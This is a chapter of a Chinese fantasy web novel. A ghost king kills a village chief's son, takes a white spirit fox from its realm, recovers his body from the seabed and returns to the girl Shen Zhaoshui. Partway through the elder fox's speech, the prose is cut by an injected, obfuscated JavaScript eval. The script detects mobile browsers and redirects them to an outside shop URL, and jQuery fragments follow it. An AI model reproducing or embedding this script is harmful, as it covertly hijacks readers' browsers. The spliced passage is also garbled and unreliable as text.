4. 大白狐狸

作品:《笨阴差她拒当鬼王夫人

    昏黄月亮滚了一圈毛边,挂在乡长家院子里的枯树枝上,被柴垛旁栓着的黄狗汪汪一叫,仿佛抖了抖。


    纸窗亏心似的紧拢着,屋子里摇晃烛光拉出两个人影。


    乡长老婆徐氏头上带着孝巾,袖口贴着面颊,眼泪擦了又擦。


    “儿啊,你爹死的这么蹊跷,真就不报官?”


    “他平日里是对你严厉,可谁让你滥赌……他是为你好。现在就这么草草葬下,你爹能闭眼?”


    儿子张守德坐在炕上,一手端着烟枪,一手悄捏腰上钱袋。


    前些日子从一个老婆子和两个小崽子那里吃了钱,这兄弟倒还肚饱;可两三盅骰子下来,吃了多少都给吐干净了,光朝张守德“咕咕”叫,他哪里还有余钱给他爹报官打点?


    况且……抢钱还杀了三条人命的糊涂事是他干下的,难道自己要跑去见官?万幸他爹替他瞒了,找了个山鬼作祟的名头;现在既然他爹也死了,那不赶紧埋下了事?山鬼担了三条人命,正好多担他爹和轿夫的。


    张守德叭了两口烟,混着满肚子打算从鼻子里喷出。


    “就我爹那个惨状,谁敢管?定是他惹了山鬼老爷,脑袋才被活生生扯下来!”


    “我们不息事宁人,还要找山鬼老爷报仇?咱俩脑袋也不要了?算了算了……”


    “爹的丧事还没个尾呢,娘,你再贴我点钱……”


    母子俩静静商议着乡长的后事,徐氏见儿子又问她摊手要钱,照例埋怨了他两句,右手摸向自己怀里。


    三颗散碎银子,在烛光下微闪着冷冷细光。


    张守德一下子喜笑颜开,烟枪一丢,双手捧着接过。


    银子在手心相撞,小石头似的啪嗒响,像骰子转起来的声音。


    张守德高兴着,忽然手中“滋啦”——


    银子烧化了!


    滚烫的银水倾刻间把那双滥赌、杀生的手烫了个皮开肉绽骨露出。银水溅落出去,掉到张守德肚子、腿上,见肉便钻,活活把人烫穿,一身都是虫眼似的血洞。


    “啊啊啊啊啊啊——”


    张守德痛得翻身从炕上滚下来,摔在地上又痛呼一声。


    “儿啊,你这是怎么了!”


    张守德被银水烫得痛不能言,只能在地上蛆爬找凉水冲身。然而爬着爬着,视线里凭空出现一角黑袍。


    屋子里多了一个长发及地的阴森男人。


    “你你你是谁?”


    男人微微偏头,一双死寂寂的眼睛冷得非人。


    “孤么……”


    他苍白弯唇,不是笑,而是一种恶趣味的逗弄。


    “无稷山鬼。”


    他在无稷山底和她的尸身一起沉睡了三千年,不问朝夕,不理红尘,甫一睁眼居然被这腌臜父子泼了一次又一次脏水……


    三千年太久,人类连他这杀神也忘了。


    张守德母子被他的回答吓得毛骨悚然。


    他母亲刚要大叫,裴幽行一个响指便让她昏死过去。


    至于张守德……


    “山鬼老爷息怒!山鬼老爷息怒!”


    张守德磕头磕得震天响,□□里稀稀汤汤流出水来。


    裴幽行微微下腰,一手掐住他脖子,但没用力。


    “说起来,还要多谢你们父子把她送上无稷山。”


    张守德冷汗成雨,仅剩的一点理智让他抓住一点救命稻草。


    “您是说沈家那个沈照水?”


    沈照水今日死而复生。


    村子里小,这件奇事不到半日便传开了。


    “是不是那妮子苟活,惹山鬼老爷生气?不碍事不碍事,我是乡长儿子!我出面让人把她弄死,照旧……”


    “咔嚓”一声轻响。


    张守德颈骨粉碎。


    裴幽行眉头下压,眼神烦躁。


    “找死。”


    她的名字,她的性命,从这种猪狗嘴里过一遍他都生气。


    脑海中忽然想起他追至黄泉路口,沈照水孤零零站着被阴差羞辱时的场景。


    他不在,她尽挨欺负。


    一股无名野火在心头烧起,迅速扩散至全身。


    裴幽行五指按住张守德头顶,旋转,旁拧,新鲜的血液从脖颈处喷洒,穿过他虚无的手,溅落在地上。


    张守德脑袋也□□脆利落摔在地板沾血处。


    视线望向一旁昏倒的张守德母亲,裴幽行缓缓走过去。


    一家三口,地府团聚好了。


    手指刚刚抬起,顶着张死人妆裹的“丑脸”沈照水却忽然浮现在眼前。


    她摇头。


    她不喜欢赶尽杀绝。


    “啧,真讨厌。”


    又弱又怂,还优柔寡断。


    最讨厌了。


    裴幽行转身飘出屋内,化成一道黑影风似的越过天际圆月。


    直至远远可见群山峻岭,天地间忽然自上而下闪出一道护法屏障,金光闪闪,隔绝前路。


    是宴漆之境的大门。


    许多年前居住在宴漆之境的灵狐一族可以自由往来人间。但由于族中最小的孩子在人间闹出了点事,天帝降罚,亲自设下屏障,从此断绝宴漆与人间。


    前路被挡,裴幽行略微抬手挥袖,那屏障不攻自破。


    一入宴漆,天光大亮,青峰袅烟,溪池争鸣,天地灵气祥和纯粹,正是上等的福地仙境。


    原野之上有几只打滚的灵狐,见天帝的屏障被破,一瞬间目瞪口呆,愣在原地,眼睁睁看着裴幽行飞向宴漆深处。


    “那是……鬼王大人!”


    “我们要不要告诉长老?有危险!”


    “哎呀你傻呀,鬼王大人肯定是来找崽崽的,他们俩的交情有什么危险?”


    发话的狐狸言毕一愣,忽然意识到了什么。


    所有狐狸脸色沉沉,一齐道:“堕恶之后性情大变,难保诶……”


    “快!快找长老!”


    ——


    一处溪水,日光下照,流动跳跃着无数光鳞,绕着其间一块淡青色的圆滑大石头哗啦流过。


    石上,一只毛白蓬松的大狐狸正四仰八叉晒着暖融融的日光。灿烂亮汪的棕赤瞳孔微微缩着,困意浓重。


    宴漆之境不会有夜晚。天地爱护灵狐,于是创世之初专为它们设置了这一片永昼之地。


    让每只灵狐都可以快乐地晒太阳。


    蓬大华丽的尾巴,根根狐狸毛都闪着光泽,大白狐狸轻轻将尾巴盖住狭长妩媚的双眼,正要好眠——


    “啊——尾巴尾巴尾巴!痛痛痛——”


    大白狐狸不知被谁抓住了尾巴根,眼前宴漆的山水统统翻转过来,它四肢乱刨,身体抗争。


    “哪个不长眼的敢扯小爷尾巴!”


    “放爷下来!看爷不把你毛都揪光!”


    “诶?”


    一阵扭动间,它终于转过了头,缝细一般的警觉瞳孔忽然圆溜溜。


    “裴幽行!”


    裴幽行只手倒拎着它,情绪与狐狸完全相反,一双眸子平静如古井。


    “跟孤走。”


    “走?去哪里?三千年不见,头一次重逢,你不讲讲近况?他们都说你神陨了,还有的说你被天帝关押了……”


    “天帝?他那位置都是孤母神创立的,他敢动孤?”


    裴幽行鼻嗤一句,扫了眼手中倒挂的大白狐狸:“是留在宴漆,还是随孤去人间?”


    “嗯……怎么也是个离开家乡的重大决定,给我点耐心等我考虑——唉别!”


    裴幽行没耐心听它支吾,松开它尾巴就要甩开,狐狸眼疾爪快攀住他手臂,尾巴紧紧圈住他。


    “跟跟跟!没说不去啊!留在这里也是坐牢,还是去人间痛快!”


    尖尖的狐嘴往外一撇,它偷偷嘟囔:“我是你半个发小诶,居然甩我……”


    认识堕恶之前的裴幽行,可不算是半个发小?


    虽然这位的身份高不可攀,但大白狐狸有自己的辈分计算法。


    它当族中小幺当了几千年,大家都溺爱它,但狐狸很有志气,它从前在人间学了一句人话:“大丈夫怎可久居人下?”


    狐狸很喜欢,把这话当座右铭。虽然那时裴幽行说“少学那些混账俗物的话,世间万物本不应争高低。”


    “我们去哪里?”


    “问你。”


    “啊?”大白狐狸狭长的睫毛一抖,“从上次惹祸之后我再也没出去过,你问我?”


    “孤的身体在哪里,我们就去哪里。”


    ?


    狐狸冲着裴幽行上下一望,弱弱问:“你的……肉身?”


    “你堕恶的时候直接丢了啊!现在想找回来,早干嘛去了??”


    裴幽行的那场堕恶惊天动地。


    千万年来有的是仙者道者堕恶,因为修炼走火入魔的人数不胜数。


    但神者堕恶,裴幽行是第一个。


    他甚至自弃肉身,一心要和天地共毁,以求身为神明的死亡。


    那时如此决绝,如今怎么又转变心意?


    “孤等到她了。”


    裴幽行淡色的唇动了动。


    “她想要过日子,孤得有身体陪着她。”


    狐狸吃惊大张着嘴,哑了。


    “帮孤找到肉身今在何处。”


    狐狸陷在惊讶里久久不能自拔。


    一个消失在三界之中的女人,还能真等到?!过日子又是哪一番?等会儿……


    “裴幽行!你把小爷当狗用啊!!!”


    几只白鹭被声音惊扰,在栖息苇丛间腾翅而起,划过宴漆大大小小的翠绿山丘、明澈湖泊,落于一方小小水田。


    “长老!观鱼长老!鬼王大人把崽崽带走了!”


    水田坎上,一只赤狐从竹藤椅上惊起,披着的蓑衣掉了一半在水田中,稻花养的鱼儿三三两两围来啄食。


    赶来通报的几只年轻狐狸蹲着喘气,注目于族中最有本领的赤狐,观鱼长老。


    观鱼长老皱眉望向被规则划分为八块的水田,掐诀念了个咒,静等田中鱼儿给它指示。


    鱼尾哗啦波动,几滴水珠落到了厚实的赤色狐毛上。


    “长老,怎么样?要不要把崽崽追回来?”


    观鱼长老抖了抖耳朵,沉思片刻,最终长长叹了口气。


    “儿孙自有儿孙福,放它去


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16991921|193752||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    吧。”


    ——


    腥咸的海风呼啸而来,漆黑的天幕上仍然是那轮凄清的月亮。


    狐狸绒毛斜飞乱摆,它没来得及顾,鼻子尖往前点点,声音无比认真:“在海底。你的肉身在海底,我闻到了……”


    它心里复杂,和裴幽行对视一眼,四目皆是疑惑。


    对啊,怎么会在海底呢?


    裴幽行堕恶之处分明是拂国祭坛,不是这里。


    谁有这功夫把他的身体封在了冰冷森然的海底?


    “好好等孤”,裴幽行轻轻放下狐狸,“取回身体后,我们回祭坛。”


    “还有要我帮忙的事?”大白狐狸看看天色,海线就快露出曦光了。


    它有点后悔离开宴漆的时候没跟观鱼长老说一声。它老人家一定会担心的。


    裴幽行顺着狐狸脑袋一路摸到尾巴尖,想了想自己的打算,还是决定把狐狸带去之后再告诉它。


    以防它咬自己一口再跑掉。


    日光铺满粼粼的幽蓝海面之时,神魂与□□合而为一的裴幽行抱着狐狸回到无稷山底。


    “你这身体……”狐狸在他怀里瑟瑟发抖,“拿回来也没什么用,海底泡了三千年,冰得要命!谁家姑娘会喜欢?”


    “诶?原来拂国祭坛如今都变成一座大山了啊!”


    “小声点。”裴幽行拍了拍狐狸脑袋,“她在睡觉。”


    狐狸嘁了他一下,轻巧跳下他死气沉沉的冰冷怀抱,停在池坑旁。


    小姑娘稚气未脱的脸庞满是泪痕,一双眼睛都哭肿了,睡着了还皱着眉头。


    “确定是她?”


    裴幽行指头一动,姑娘右脚腕上亮起莹莹紫光。


    “定魂铃在这里。”


    “她被奸人暗害送到无稷山,孤送她的定魂铃震动,叫醒了孤。”


    “那她知道三千年前的事吗?或者说,她自己的上一世?”


    裴幽行静静注视着姑娘,默声摇头。


    狐狸若有所思,咂咂嘴应道:“嗯。过去的事就过去吧,没什么好回味的,一切重新开始。”


    “……你带我来就是让我见见她?”


    裴幽行微不可察挑了下眉,视线暗暗挪开。


    “她不喜欢随地而睡,你的毛软,给她当床枕枕。”


    “裴幽行!你欺狐太甚!!!”


    “小声点。”


    也许哭了太多太久,沈照水睡得脑袋沉沉,梦也千奇百怪。


    一会儿梦见自己站在包子铺前,一会儿又梦见投胎的梁成做了只耕牛。


    甚至梦中自己脸侧长出一片茸毛,暖和又柔软,带着点溪边青苔的甘冽气息。


    沈照水抬手一摸,嚯!好一大片白毛毛!


    还是活的!


    她正躺在呼吸起伏的白色皮毛间!


    “诶!你醒了!”


    毛毛的本体有颗湿漉漉的黑鼻子,笑着过来拱她。


    沈照水一辈子没见过这么大只还会说话的狗,愣得不敢动。


    狐狸见她醒了,四爪撑起抽出了身体,一抖便恢复了不当床的正常体型——然而还是胖,沈照水目不转睛看它半天,末了低声思考:


    “梦里的小狗得多难养,这么肉嘟嘟。”


    狐狸咧开的嘴巴一下子合上。


    毛都耷拉下去了。


    坐在池坑边的裴幽行终于良心发现,指头点了点沈照水的脑袋。


    “不是梦,它也不是狗,是灵狐。”


    真的不是梦吗?


    沈照水看看它又瞄了眼裴幽行。


    好像一觉睡醒,裴幽行也有点不一样了。


    “对!小爷可是灵狐一族里最最漂亮蓬松的一只!”


    狐狸昂起头,傲得不得了,眼睛眯成得意的小钩子。


    沈照水不自觉伸手摸了摸,用往日在村里跟其他小狗说话的温柔语气问:


    “我叫沈照水,你有名字没有?”


    幸好,灵狐也吃这一招,并不知道沈照水看它依然如狗狗,还用力蹭着她的手心。


    “它叫崽崽。”裴幽行眼见着狐狸痴迷被撸无心回答,冷冷替他回了一句。


    装的。


    他摸的时候它怎么不蹭?


    “不!”狐狸冲着他龇牙抗议!


    “那是族中长辈喊的小名。”


    它从沈照水手底下绕出,学着人的模样清清嗓子,很正式:


    “我叫花衣轻,‘衣满旧芸香’的衣,‘笑里轻轻语’的轻。”


    沈照水眼中散出点点星光。


    灵狐真灵啊,还会吟诗!比她这乡下的半个文盲好。


    她望着花衣轻笑,又喜欢它又羡慕它。


    还没多摸摸,沈照水怀里忽然有东西发起了亮光。她吓一大跳,赶紧往外掏。


    缉魂令牌亮如星芒。


    不远处,地底冒出来个无形的影子,弹指间凝结成一个差吏的虚像,对着裴幽行深深一拜,转而对沈照水一拱手。


    “沈姑娘,楚江王给您派了档缉魂的差事。”


    “东海苍平镇近五十年来无故消失了众多魂魄,阎君派您去找找,将众魂引渡回地府。”